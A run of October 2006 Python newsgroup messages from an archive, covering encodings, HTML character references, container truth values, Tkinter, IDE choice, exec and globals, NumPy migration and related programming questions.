Neil Cerutti wrote: >> I'm writing an application that needs all internal character data >> to be stored in iso-8859-1. It also must allow input and output >> using stdin and stdout. > > Give the user the ability to explicitly give an encoding. > Using the encoding attribute of files is quite fragile. If you > redirect stdin or stdout the encoding is set to None for > example because the interpreter can't tell what encoding the > "other side" of the redirection produces or expects. Thanks for that sensible idea. On the other hand, if Python's implementors couldn't figure out what the encoding is, I doubt the average user has a prayer. ;-) -- Neil Cerutti From hanumizzle at gmail.com Fri Oct 6 02:40:07 2006 From: hanumizzle at gmail.com (hanumizzle) Date: Fri, 6 Oct 2006 02:40:07 -0400 Subject: help on pickle tool In-Reply-To: References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com> <1160112357.891308.200020@i42g2000cwa.googlegroups.com> <1160114085.944898.224340@k70g2000cwa.googlegroups.com> <1160115558.554509.292870@c28g2000cwb.googlegroups.com> <463ff4860610052326s735fbeb7m2d4584b7ee1c569e@mail.gmail.com> Message-ID: <463ff4860610052340y253bb7f0r7f7d9f5a57328e23@mail.gmail.com> On 10/6/06, Fredrik Lundh wrote: > hanumizzle wrote: > > > I guess I'll keep an open mind. But I like editing YAML for the same > > reason that I like editing Python. > > JSON is almost identical to Python's expression syntax, of course, while > YAML isn't even close. Getting the source now. S'pose it isn't too late to convert my project over... -- Theerasak From Leo.Kislov at gmail.com Wed Oct 11 00:57:29 2006 From: Leo.Kislov at gmail.com (Leo Kislov) Date: 10 Oct 2006 21:57:29 -0700 Subject: People's names (was Re: sqlite3 error) References: <1159394058.945948.119410@h48g2000cwc.googlegroups.com> <1159493520.289291.276850@b28g2000cwb.googlegroups.com> <87wt79i0hs.fsf@pobox.com> Message-ID: <1160542649.300351.192120@c28g2000cwb.googlegroups.com> John J. Lee wrote: > Steve Holden writes: > [...] > > > There would also need to be a flag field to indicate the canonical > > > ordering > > > for writing out the full name: e.g. family-name-first, given-names-first. > > > Do we need something else for the Vietnamese case? > > > > You'd think some standards body would have worked on this, wouldn't > > you. I couldn't think of a Google search string that would lead to > > such information, though. Maybe other, more determined, readers can do > > better. > > I suppose very few projects actually deal with more than a handful of > languages or cultures, but it does surprise me how hard it is to find > out about this kind of thing -- especially given that open source > projects often end up with all kinds of weird and wonderful localised > versions. > > On a project that involved 9 localisations, just trying to find > information on the web about standard collation of diacritics > (accented characters) in English, German, and Scandinavian languages > was more difficult than I'd expected. As far as I understand unicode.org has become the central(?) source of locale information: http://unicode.org/cldr/ Did you use it? From fredrik at pythonware.com Tue Oct 17 14:26:17 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 17 Oct 2006 20:26:17 +0200 Subject: HTML Encoded Translation In-Reply-To: <1161108640.669383.178470@h48g2000cwc.googlegroups.com> References: <1161108640.669383.178470@h48g2000cwc.googlegroups.com> Message-ID: Dave wrote: > How can I translate this: > > gi > > to this: > > "gi" the easiest way is to run it through an HTML or XML parser (depending on what the source is). or you could use something like this: import re def fix_charrefs(text): def fixup(m): text = m.group(0) try: if text[:3] == "&#x": return unichr(int(text[3:-1], 16)) else: return unichr(int(text[2:-1])) except ValueError: pass return text # leave as is return re.sub("&#?\w+;", fixup, text) >>> fix_charrefs("gi") 'gi' also see: http://effbot.org/zone/re-sub.htm#strip-html > I've tried urllib.unencode and it doesn't work. those are HTML/XML character references, not encoded URL characters. From http Wed Oct 25 15:22:03 2006 From: http (Paul Rubin) Date: 25 Oct 2006 12:22:03 -0700 Subject: question about True values References: <7x4ptsi544.fsf@ruckus.brouhaha.com> Message-ID: <7xbqo05hgk.fsf@ruckus.brouhaha.com> John Salerno writes: > if (10 > 5) > would be the same as > if (10 > 5) == True Yes. From http Wed Oct 4 14:16:52 2006 From: http (Paul Rubin) Date: 04 Oct 2006 11:16:52 -0700 Subject: PEP 358 and operations on bytes References: <1159931141.342507.108260@e3g2000cwe.googlegroups.com> <1159974809.492898.253490@i42g2000cwa.googlegroups.com> <7xejtojdys.fsf@ruckus.brouhaha.com> <1159976793.484514.277050@h48g2000cwc.googlegroups.com> <7xfye4f4nk.fsf@ruckus.brouhaha.com> <1159984794.841880.247100@k70g2000cwa.googlegroups.com> Message-ID: <7xac4c0wvf.fsf@ruckus.brouhaha.com> bearophileHUGS at lycos.com writes: > > I think the underlying regexp C library isn't written that way. I can > > see reasons to want a higher-level regexp library that works on > > arbitrary sequences, calling a user-supplied function to classify > > sequence elements, the way current regexps use the character code to > > classify characters. > ...It seems an interesting thing, but can you find some uses for it? Yes, I want something like that all the time for file scanning without having to resort to parser modules or hand coded automata. From apardon at forel.vub.ac.be Sat Oct 28 10:00:55 2006 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 28 Oct 2006 14:00:55 GMT Subject: question about True values References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> <1161860305.348329.283780@m73g2000cwd.googlegroups.com> Message-ID: On 2006-10-28, Steven D'Aprano wrote: > On Fri, 27 Oct 2006 17:35:58 +0000, Antoon Pardon wrote: > >> On 2006-10-27, Steven D'Aprano wrote: >> >> So >> it seems that python has generalised the len function to provide >> the number of elements in the container. > > Sure. But what about a container where the number of elements isn't > well-defined, e.g. iterators? I see you already discovered iterators won't help you here. > Or something like a binary tree, where > counting the number of items is relatively expensive, but telling whether > it is empty or not is cheaper than dirt? Counting the items in a binary tree and a dictionary are about equally expensive. I guess that in practice a count attribute will keep score. > Here's a real example: it can be expensive to count the number of files in > a directory -- on my PC, it takes almost a third of a second to count a > mere 15,000 files in a single directory. (There may be a more sensible > way of counting the number of files under Linux than ls | wc -l, but if > so I don't know it.) But why slog through 15,000 files if all you need to > know is if the directory is empty or not? As soon as you see one file, you > know it isn't empty. Stop counting! Who cares whether there is one file or > 15,000 files? I don't know why you consider this a real example. The only time I care whether a dictionary is empty or not is if I want to remove it and in that case it better to just try to remove the dictionary and catch the exception. Testing for emptyness or counting files in a directory isn't robust anyway. You never know whether or not some other process created a new file or deleted one between the time you tested and the moment >> I have written a Tree class(*). It can be used as a drop in replacement >> anywhere where a directory is used, as long as there is a full order >> relationship in the key domain. That tree class provides a __len__ >> method that will anser with the number of items in the tree just >> as a directory would and I see nothing wrong with that. > > And I'm happy for you. But imagine a container object that maps a URL to > some piece of data fetched from the Internet. Counting the size of the > Internet is infeasible -- even if you were willing to try, it could take > *weeks* of computation to determine! But one can certainly tell if there > is an Internet out there or not. Such an object would always be True, > unless you had lost network connectivity. Indeed and you could loose connectivity between your testing for it and making your first connection and your URL's turn bogus > My container object will work perfectly well with "if internet" but not > with "if len(internet) > 0". You could even iterate over it, sort > of, by following links from one site to another. And in what way exactly would this container object of yours be compatible with code that would expect a list like object? I guess not very much. > But why are you checking the length of a container before iterating over > it? If you are writing something like this: > > if len(container) != 0: > for item in container: > do_something() > > then just stop it! The same goes for if container: for iten in container: do_something() If your are writing the above you should stop it just the same. >> Of course I can't account for all possible ways someone wishes to >> write a class, but I don't see what is wrong with counting on >> the fact that an empty container has a length of zero. > > Because you shouldn't assume containers have well-defined lengths unless > you actually care about the length, and you shouldn't assume that length > of zero implies "nothing to see here" unless you *know* that this is the > case. I think these assumptions are equivallent with assuming it is a container. > You should leave defining empty up to the container class itself. > Otherwise, you might be right 99 times in a hundred, but that hundredth > time will bite you. Just as your assumption will bite you in case of numpy arrays. >> I can write a container class where the truth value of an object >> is independent of whether or not the object is empty and then >> the "if obj:" idiom will fail to provide true polymorphism too. > > A class that deliberate breaks the semantics of Python truth testing just > for the sake of breaking code really is a pathological case. Polymorphism > doesn't mean "will work with anything without exception". I find that your idea of what a container can lack also against the semantics of Python. -- Antoon Pardon From mohan.us2010 at gmail.com Fri Oct 27 05:08:26 2006 From: mohan.us2010 at gmail.com (mohan) Date: 27 Oct 2006 02:08:26 -0700 Subject: Simple problem with GUI!! Message-ID: <1161940106.084921.187460@i3g2000cwc.googlegroups.com> Hello Guys, I am a beginner with Python programming and would like to implement some GUI functionalities along with my main work. So I was trying to implement one basic program (available from books). Here is the code, ############################ import Tkinter TopLevelWindowObj = Tkinter.Tk() # Creating a root window QuitObj = Tkinter.Button(TopLevelWindowObj, text = "QUIT", command = TopLevelWindowObj.quit) # Creating a Button QuitObj.pack() # Positioning the button Tkinter.mainloop() ############################# So, this is a code to display a window with a "QUIT" button and by clickign the button the entire window is closed. When I execute this program, the window does not close down but the window is completely disabled and after a few seconds I get the following message in a message window, ************************************************************************** Message box name - Microsoft Visual C++ Runtime Library Runtime Error! program...\Python22\core\lib\site-packages\Pythonwin\Pythonwin.exe This application has requested the Runtime to terminate it in an unusual way. Please contact the application's support team for more information. ************************************************************************************ At the end I had to close down my entire python compiler. I am using Python compiler with following specs in Windows XP OS. Pythonwin - Python IDE and GUI Framework for Windows. PythonWin 2.2.1 (#34, Feb 25 2003, 11:29:09) [MSC 32 bit (Intel)] on win32. Portions Copyright 1994-2001 Mark Hammond Please let me know why is this happening and also if I am missing something in the way of programming. Thanks in advance. Cheers, Mohan. From edreamleo at charter.net Wed Oct 4 11:03:40 2006 From: edreamleo at charter.net (Edward K. Ream) Date: Wed, 4 Oct 2006 10:03:40 -0500 Subject: How to ask sax for the file encoding References: <4oi0f3FehgnuU1@uni-berlin.de> Message-ID: > [The value of the encoding field] _could_ be retained, but for what > purpose? I'm asking this question because my app needs it :-) Imo, there is *no* information in any xml file that can be considered irrelvant. My app will want to know the original encoding when writing the file. Edward -------------------------------------------------------------------- Edward K. Ream email: edreamleo at charter.net Leo: http://webpages.charter.net/edreamleo/front.html -------------------------------------------------------------------- From lycka at carmen.se Fri Oct 27 10:36:36 2006 From: lycka at carmen.se (Magnus Lycka) Date: Fri, 27 Oct 2006 16:36:36 +0200 Subject: python GUIs comparison (want) In-Reply-To: <1161778963.505003.73840@m7g2000cwm.googlegroups.com> References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com> <453E3370.9060008@kevin-walzer.com> <453f16e5$0$28552$426a74cc@news.free.fr> <1161778963.505003.73840@m7g2000cwm.googlegroups.com> Message-ID: David Boddie wrote: > You're forgetting that Qt isn't just a widget toolkit. I suspect that the non-GUI parts are (just like in Wx) C++ stuff which is more or less equivalent with things that are either Python builtins or parts of Python's standard library. Besides, getting those proprietary dependencies even further down into the code than the GUI is not a plus in my book. Last time I looked, Qt code wasn't even pure C++ but needed some preprocessing like embedded SQL. Yet another programming language in other words. I suppose I can ignore that from Python, but it still smells... From srock258 at gmail.com Fri Oct 13 17:08:33 2006 From: srock258 at gmail.com (srock) Date: 13 Oct 2006 14:08:33 -0700 Subject: IDE In-Reply-To: <1160765102.671856.202100@f16g2000cwb.googlegroups.com> References: <4zOXg.1918$uv5.11354@twister1.libero.it> <12ivggt86e3js24@corp.supernews.com> <1160765102.671856.202100@f16g2000cwb.googlegroups.com> Message-ID: <1160773713.778279.185380@h48g2000cwc.googlegroups.com> Eclipse with PyDev is a great option because Eclipse allows you to develop so many languages at once. Personally, I prefer to learn 1 IDE for all my development needs. This greatly reduces the learning curve of a language because you are already familiar with the environment. Also, Eclipse works on most platforms. On Oct 13, 2:45 pm, jmdescha... at gmail.com wrote: > Jan Bakuwel wrote: > > John Purser wrote: > > > On Fri, 2006-10-13 at 15:48 +0000, giuseppe wrote: > > >> What is the better IDE software for python programming? > > > >> many thanks > > > >> joe > > > > Joe, > > > > Find the best Python programmer and ask him/her. > > > > John Purser > > > I may be the worst Python programmer (since Python is new for me)... but > > I have a lot of experience with IDEs and just looked into Python IDEs. > > > My opinion: Eclipse is free but rather complex; WingIDE is commercial > > software but well worth the few $ - at least for someone like myself. > > > cheers, > > JanActually, Eclipse is easy enough, if you don't want to use the whole > complexity available and Pydev (the python plugin) is really good - but > this is NOT a flame because wingware as a good reputation also SPE (but > I haven't tried it necause i don't have wxPython), also PythonScript or > Pyscripter as it is sometimes found, but that is windows only (I > think). And then, there is Komodo, from our friends at ActiveState... > > Jean-Marc From bignose+hates-spam at benfinney.id.au Thu Oct 26 22:34:12 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Fri, 27 Oct 2006 12:34:12 +1000 Subject: Insert Content of a File into a Variable References: <3ACF03E372996C4EACD542EA8A05E66A0615DB@mailbe01.teak.local.net> Message-ID: <87wt6mebbv.fsf@benfinney.id.au> Wijaya Edward writes: > >>> myfile_content = open('somefile.txt') > >>> print myfile_content, > > >>> > > But it doesn't print the content of the file. That's right, because "the content of the file" is not what open() is documented to return; it is documented as returning a 'file' object. The 'read' method of the resulting file object will return the contents of the file. You may also want to read the documentation of thile objects to see what else you can do with them. -- \ "A free society is one where it is safe to be unpopular." -- | `\ Adlai Ewing Stevenson | _o__) | Ben Finney From noway at sorry.com Wed Oct 4 03:47:54 2006 From: noway at sorry.com (Giovanni Bajo) Date: Wed, 04 Oct 2006 07:47:54 GMT Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <45225A1C.8060106@v.loewis.de> Message-ID: Martin v. L?wis wrote: > It's significantly different from the Bitkeeper fiasco in two > important > ways: > 1. Bitkeeper is a source revisioning system, so it is similar to CVS > and Subversion. This project here is "just" the bug tracker, which > is of lesser importance. If we move to a different one some day, a > certain amount of data lossage might be acceptable (e.g. we now > likely lose the "history" of status changes and file attachments on > each report). An export of all data is high on the requirements > list, as Fredrik points out. I understand your point. OTOH, exactly because the tracker system is a far lesser importance, it's amazing there is *ever* a need to evaluate non-FLOSS solutions, when there are so many good free solutions around. Instead of recommending a closed source solution, you could have recommended Roundup *and* explained there is a need for funding and/or volunteers before the migration can happen. You might also be understimating how negative could be the reaction from the open-source community to such a move. -- Giovanni Bajo From onurb at xiludom.gro Mon Oct 16 09:01:41 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Mon, 16 Oct 2006 15:01:41 +0200 Subject: python's OOP question In-Reply-To: <1160991239.541020.115320@m7g2000cwm.googlegroups.com> References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com> <1160965758.324644.131920@i42g2000cwa.googlegroups.com> <1160969393.803021.274070@e3g2000cwe.googlegroups.com> <45334fa9$0$5656$426a74cc@news.free.fr> <1160991239.541020.115320@m7g2000cwm.googlegroups.com> Message-ID: <453382b6$0$8601$426a74cc@news.free.fr> neoedmund wrote: > Bruno Desthuilliers wrote: >> neoedmund wrote: >> (*PLEASE* stop top-posting - corrected) >>> Ben Finney wrote: >>>> [Please don't top-post above the text to which you're replying.] >>>> >>>> "neoedmund" writes: >>>> >>>>> I'm trying to achieve a higher level of "reusability". Maybe it >>>>> cannot be done in python? Can anybody help me? >>>> What, specifically, are you trying to achieve? What problem needs >>>> solving? >>> python use multiple inheritance. >>> but "inheritance" means you must inherite all methods from super type. >>> now i just need "some" methods from one type and "some" methods from >>> other types, to build the new type. >>> Do you think this way is more flexible than tranditional inheritance? >>> >> While dynamically adding attributes (and methods - which are attributes >> too) is not a problem, I'd second Gregor's anwser : it might be better >> to use composition/delegation here. >> > Could you show some code to help me know how composition/delegation can > be done here? Thanks. About composition/delegation, there's no "one-size-fits-all" answer, but the main idea is to use the magic '__getattr__(self, name)' method. Now back to your specific case : after a better reading of your original question, straight composition/delegation wouldn't work here - at least not without modifications to both C1 and C2 (sorry, should have read better the first time). Given the context (ie : "create a new type with methods from type X and methods from type Y"), a very simple solution could be: class C3(object): m = C2.m.im_func v = C1.v.im_func FWIW, if you have full control over C1, C2 and C3, you could also just 'externalize' the functions definitions: def v1(self, o): return "expected "+o def v2(self, o): return "unexpected "+o def m2(self): """ requires that 'self' has a v(self, somestring) method """ print self.v("aaa") class C1(object): v = v1 class C2(object): v = v2 m = m2 class C3(object): v = v1 m = m2 The problem (with the whole approach, whatever the choosen technical solution) is that if one of theses methods depends on another one (or on any other attribute) that is not defined in your new class, you're in trouble. This is not such a big deal in the above example, but might become much more brittle in real life. Now we can look at the problem from a different perspective. You wrote: """ but "inheritance" means you must inherite all methods from super type. now i just need "some" methods from one type and "some" methods from other types, to build the new type. """ What is your problem with having the other extra methods too ? -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From limodou at gmail.com Wed Oct 25 20:39:52 2006 From: limodou at gmail.com (limodou) Date: Thu, 26 Oct 2006 08:39:52 +0800 Subject: What's the best IDE? In-Reply-To: <1161822032.211125.272160@h48g2000cwc.googlegroups.com> References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> <453ff3a7$0$23866$426a74cc@news.free.fr> <1161822032.211125.272160@h48g2000cwc.googlegroups.com> Message-ID: <505f13c0610251739v5b281996sbfc70f6a2065e58f@mail.gmail.com> On 25 Oct 2006 17:20:32 -0700, Hakusa at gmail.com wrote: > After researching Komodo, I found it's not free. The only funds I have > are a college fund, and I can't start diping into that until I'm going > to college. Any free AND good IDEs? > I think most of wxPython IDE are good. I prefer UliPad, because I'm the author of it, you can find the link from my signature. It's cross platform, and many features. It has not embed debuger in it now, so you can use winpdb to debug your program. It support auco-complete in editing and also provide a shell window also support auto-complete. And the auco-complete in editing is more powerful. Other good wxPython IDE should be SPE, drPython, PyPE, etc. -- I like python! UliPad <>: http://wiki.woodpecker.org.cn/moin/UliPad My Blog: http://www.donews.net/limodou From mensanator at aol.com Mon Oct 16 16:45:17 2006 From: mensanator at aol.com (mensanator at aol.com) Date: 16 Oct 2006 13:45:17 -0700 Subject: Need a strange sort method... References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com> <8c7f10c60610161130i4d520b49xd6fc5a8450d579f4@mail.gmail.com> <1161028595.918128.198190@h48g2000cwc.googlegroups.com> <1161028913.598854.111950@b28g2000cwb.googlegroups.com> Message-ID: <1161031516.939430.293150@b28g2000cwb.googlegroups.com> SpreadTooThin wrote: > SpreadTooThin wrote: > > Simon Brunning wrote: > > > On 10/16/06, Simon Brunning wrote: > > > > >>> a = [1,2,3,4,5,6,7,8,9,10] > > > > >>> a.sort(key=lambda item: (((item-1) %3), item)) > > > > >>> a > > > > [1, 4, 7, 10, 2, 5, 8, 3, 6, 9] > > > > > > Re-reading the OP's post, perhaps sorting isn't what's required: > > > > > > >>> a[::3] + a[1::3] + a[2::3] > > > [1, 4, 7, 10, 2, 5, 8, 3, 6, 9] > > > > > > -- > > > Cheers, > > > Simon B > > > simon at brunningonline.net > > > http://www.brunningonline.net/simon/blog/ > > > > > Ok so this is what I got.. but there is an odd side effect: > > > > def reslice(series): > > series.sort() > > i = 1 > > newseries = series[::3] > > while(1): > > c = series[i::3] > > if len(c) >= 3: > > newseries = newseries + c > > else: > > break > > i = i + 1 > > return newseries > > > > a = [2,1,4,3,6,5,8,7,10,9] > > b = reslice(a) > > print b > > >>> [1, 4, 7, 10, 2, 5, 8, 3, 6, 9, 4, 7, 10] > > > > I have one extra 10 that I shouldn't... Actually, you have an extra 4,7,10. > > > I think my loop termination is incorrect... > maybe I should just stop when my new series size is the same size as > the original? You can do this automatically (and pass the size of the desired sublist grouping also). def strange(n,d): """ n list to sort d sublist length """ LoL = [] for i in xrange(d): LoL.append(n[i::d]) print LoL out = [] for i in LoL: out.extend(i) return out a = [1,2,3,4,5,6,7,8,9,10] b = [1,3,5,7,11,13,17,19,23,29] c = [1,2,3,4,4,5,6,7,8,9,10] d = [1,2] print a test = strange(a,3) print test print print a test = strange(a,4) print test print print a test = strange(a,5) print test print print b test = strange(b,3) print test print print c test = strange(c,3) print test print print d test = strange(d,5) print test print ## [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] ## [[1, 4, 7, 10], [2, 5, 8], [3, 6, 9]] ## [1, 4, 7, 10, 2, 5, 8, 3, 6, 9] ## ## [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] ## [[1, 5, 9], [2, 6, 10], [3, 7], [4, 8]] ## [1, 5, 9, 2, 6, 10, 3, 7, 4, 8] ## ## [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] ## [[1, 6], [2, 7], [3, 8], [4, 9], [5, 10]] ## [1, 6, 2, 7, 3, 8, 4, 9, 5, 10] ## ## [1, 3, 5, 7, 11, 13, 17, 19, 23, 29] ## [[1, 7, 17, 29], [3, 11, 19], [5, 13, 23]] ## [1, 7, 17, 29, 3, 11, 19, 5, 13, 23] ## ## [1, 2, 3, 4, 4, 5, 6, 7, 8, 9, 10] ## [[1, 4, 6, 9], [2, 4, 7, 10], [3, 5, 8]] ## [1, 4, 6, 9, 2, 4, 7, 10, 3, 5, 8] ## ## [1, 2] ## [[1], [2], [], [], []] ## [1, 2] From steve at holdenweb.com Wed Oct 11 06:19:28 2006 From: steve at holdenweb.com (Steve Holden) Date: Wed, 11 Oct 2006 11:19:28 +0100 Subject: dynamic creation of global Identifier In-Reply-To: <463ff4860610110217j737629b0me3aaa54f820e9a8d@mail.gmail.com> References: <463ff4860610110217j737629b0me3aaa54f820e9a8d@mail.gmail.com> Message-ID: Theerasak Photha wrote: > On 10/11/06, Alexander Eisenhuth wrote: > > >>but why doesent exec "global ... create a identifier in the global namespace. > > > I haven't had much use for exec, but it operates in its own, more or > less cloistered namespace. It can't set globals among other things. > Well that's not strictly true: >>> globals() {'__builtins__': , '__name__': '__main__', '__file__': '/c/Steve/.pythonrc', 'sys': , '__doc__': None} >>> exec "NEW = 42" >>> globals() {'__builtins__': , '__file__': '/c/Steve/.pythonrc', 'sys': , 'NEW': 42, '__name__': '__main__', '__doc__': None} The problem was that the two exec statements were being treated separately because they use independent execution contexts. Make them the same, and bingo! sholden at bigboy ~/Projects/Python $ cat test38.py class A: def __init__(self, v): print "ctr of", self.__class__, "with", v self._v = v def init(): newIdentifier = ["a", "b"] param = [1,2] for newId, par in zip(newIdentifier, param): exec """\ global %s %s = A(par)""" % (newId, newId) init() print a, b sholden at bigboy ~/Projects/Python $ python test38.py ctr of __main__.A with 1 ctr of __main__.A with 2 <__main__.A instance at 0x186c6d2c> <__main__.A instance at 0x186c6e0c> However, none of this will necessarily get the OP further, since the interpretation of the global statement will be as "global to the module that it appears in". regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From rpdooling at gmail.com Fri Oct 13 10:38:39 2006 From: rpdooling at gmail.com (BartlebyScrivener) Date: 13 Oct 2006 07:38:39 -0700 Subject: Best IDE? In-Reply-To: <1160749749.140484.97990@f16g2000cwb.googlegroups.com> References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com> Message-ID: <1160750319.845988.28050@m73g2000cwd.googlegroups.com> Ahmer wrote: > What do you guys use? > Why? http://tinyurl.com/ybg6p5 rd From hanumizzle at gmail.com Tue Oct 10 21:59:47 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Tue, 10 Oct 2006 21:59:47 -0400 Subject: does raw_input() return unicode? In-Reply-To: <452BD8A2.4060708@v.loewis.de> References: <12iln7en9ipit77@corp.supernews.com> <452b5190$0$29833$9b622d9e@news.freenet.de> <452BD8A2.4060708@v.loewis.de> Message-ID: <463ff4860610101859x190db877hddac360fe612b8c2@mail.gmail.com> On 10/10/06, "Martin v. L?wis" wrote: > Theerasak Photha schrieb: > >> At the moment, it only returns unicode objects when invoked > >> in the IDLE shell, and only if the character entered cannot > >> be represented in the locale's charset. > > > > Why only IDLE? Does urwid or another console UI toolkit avoid this somehow? > > I admit I don't know what urwid is; from a shallow description I find > ("a console user interface library") I can't see the connection to > raw_input(). How would raw_input() ever use urwid? The other way around: would urwid use raw_input() or other Python input functions anywhere? And what causes Unicode input to work in IDLE alone? -- Theerasak From pydecker at gmail.com Wed Oct 11 21:38:27 2006 From: pydecker at gmail.com (Peter Decker) Date: Wed, 11 Oct 2006 21:38:27 -0400 Subject: Python component model In-Reply-To: References: <452b7aae$0$306$426a74cc@news.free.fr> Message-ID: On 10/10/06, Peter Maas wrote: > I for my part would be happy to see a Delphi-like RAD tool for Python, > a reference implementation for web programming as part of the standard > library, Jython 2.5, Python for PHP or whatever attracts new programmers. I think you should take a good look at Dabo and the visual tools they are creating. While I would be the first one to admit that they are not polished to the level of Delphi, they are pretty amazing for a couple of guys working in their spare time! If we could get more of the community to contribute to this project, I don't think that there would be any other RAD tool that would come close. -- # p.d. From apardon at forel.vub.ac.be Wed Oct 4 07:26:00 2006 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 4 Oct 2006 11:26:00 GMT Subject: What value should be passed to make a function use the defaultargument value? References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> <7xwt7gqwb3.fsf@ruckus.brouhaha.com> <7xac4cpefr.fsf@ruckus.brouhaha.com> Message-ID: On 2006-10-04, Fredrik Lundh wrote: > Georg Brandl wrote: > >>> But that can only work if you are the author of f. Take the >>> following code: >>> >>> def myrepeat(obj, times = xxx): >>> return itertools.repeat(obj, times) >>> >>> What value do I have to substitue for xxx, so that myrepeat >>> will have the exact same function as itertools.repeat? >> >> There's no possible value. You'll have to write this like >> >> def myrepeat(obj, times=None): >> if times is None: >> return itertools.repeat(obj) >> else: >> return itertools.repeat(obj, times) > > or: > > def myrepeat(*args): > return itertools.repeat(*args) Yes that works but I have the impression that this solution becomes complicated very fast once you want to do extra processing in the function body. Take the following def myrepeat(obj, times = xxx)" newobj = Process(obj) return itertools.repeat(obj, times) I think it would become something like: def myrepeat(*args): obj = args[0] tail = args[1:] newobj = Process(obj) newargs = (newobj,) + tail return itertools.repeat(*newargs) From robert.kern at gmail.com Wed Oct 4 01:57:29 2006 From: robert.kern at gmail.com (Robert Kern) Date: Wed, 04 Oct 2006 00:57:29 -0500 Subject: switching to numpy and failing, a user story In-Reply-To: <1159940670.808128.312270@i3g2000cwc.googlegroups.com> References: <1159940670.808128.312270@i3g2000cwc.googlegroups.com> Message-ID: greg.landrum at gmail.com wrote: > After using numeric for almost ten years, I decided to attempt to > switch a large codebase (python and C++) to using numpy. Here's are > some comments about how that went. > > - The code to automatically switch python stuff over just kind of > works. But it was a 90% solution, I could do the rest by hand. Of > course, the problem is that then the code is still using the old > numeric API, so it's not a long term solution. Unfortunately, to switch > to the numpy API one needs documentation, which is a problem; see > below. Actually, it's not too hard to do so with the files that come with the source and utilizing the mailing list. I've converted quite a lot of code without reference to _The Guide to NumPy_. > - Well, ok, the automatic switching code doesn't really work all that > well... my uses of RandomArray still work, but they generate different > numbers. The underlying random-number generator must have changed. I'm > sure that it's "better" now, but it's different. This is a major pain > for my regression tests that rely on seeding the random number > generator and getting particular results. But that's ok, I can update > the regressions for the new RNG. Sorry, but the old PRNG code had an non-open source license that prohibited commercial use, and it had to be replaced. > - My extension modules just won't build because the new numpy stuff > lives in a different location from where Numeric used to live. I > probably could fix this, but without the documentation I can't figure > out how to do that. That is documented in the files that come with the source. Or you could have asked us on the numpy mailing list. In short, if you use numpy.distutils, everything would have been taken care of for you; otherwise, numpy.get_include() will give you the location of the headers. > - I guess I should just buy the documentation. I don't like this idea, > because I think it's counter-productive to the project to have payware > docs Otherwise the docs wouldn't have been written at all. And most likely, numpy wouldn't exist, either. > (would Python be successful if you had to buy the documentation? I > don't think so), but that's the way this project goes. I'm doubly > unhappy about it because they payment system is using Paypal and I > don't like Paypal at all, but I guess that's just the way it goes. Oh, > wait, I *can't* buy the docs because I'm not in the US and the payment > page requires a US address. I give up; I guess NumPy is only for people > living in the US. Or you could have emailed Travis, and he would have worked around the issue. I'm sorry that you had such problems, but if you had let us know about them earlier, we could have helped you out. -- Robert Kern "I have come to believe that the whole world is an enigma, a harmless enigma that is made terrible by our own mad attempt to interpret it as though it had an underlying truth." -- Umberto Eco From fakeaddress at nowhere.org Fri Oct 6 14:09:29 2006 From: fakeaddress at nowhere.org (Bryan Olson) Date: Fri, 06 Oct 2006 18:09:29 GMT Subject: Google breaks Usenet (was Re: How can I correct an error in an old post?) In-Reply-To: <1160154253.956469.195400@m73g2000cwd.googlegroups.com> References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com> <1160096371.564954.132860@b28g2000cwb.googlegroups.com> <4SmVg.9105$GR.2172@newssvr29.news.prodigy.net> <1160154253.956469.195400@m73g2000cwd.googlegroups.com> Message-ID: Blair P. Houghton wrote: > Usenet isn't just the "send this message to all leaf nodes via tree" > behavior, > it's the "show me the message from 1987 or 1988 written by dickie > sexton where > he invents the '(*plonk*)' meme" behavior, and a lot of others. That makes Google the only non-broken Usenet service, the opposite of what the retitling of this thread claims. -- --Bryan From NoelByron at gmx.net Thu Oct 19 09:38:19 2006 From: NoelByron at gmx.net (NoelByron at gmx.net) Date: 19 Oct 2006 06:38:19 -0700 Subject: UTF-8 to unicode or latin-1 (and yes, I read the FAQ) In-Reply-To: <2m8k04-gfe.ln1@nb2.stroeder.com> References: <1161249411.230825.139160@m7g2000cwm.googlegroups.com> <1161252764.244873.134740@f16g2000cwb.googlegroups.com> <2m8k04-gfe.ln1@nb2.stroeder.com> Message-ID: <1161265099.898851.21400@m73g2000cwd.googlegroups.com> Michael Str?der wrote: > NoelByron at gmx.net wrote: > > > > print 'K\xc3\xb6ni'.decode('utf-8') > > > > and this line raised a UnicodeDecode exception. > > Works for me. > > Note that 'K\xc3\xb6ni'.decode('utf-8') returns a Unicode object. With > print this is implicitly converted to string. The char set used depends > on your console And that was the problem. I'm developing with eclipse (PyDev). The console is integrated in the development environment. As I print out an unicode string python tries to encode it to ASCII. And since the string contains non ASCII characters it fails. That is no problem if you are aware of this. My mistake was that I thought the exception was raised by my call to decode('UTF-8') because print and decode were on the same line and I thought print could never raise an exception. Seems like I've learned something today. Best regards, Noel From grahn+nntp at snipabacken.dyndns.org Sun Oct 1 04:24:40 2006 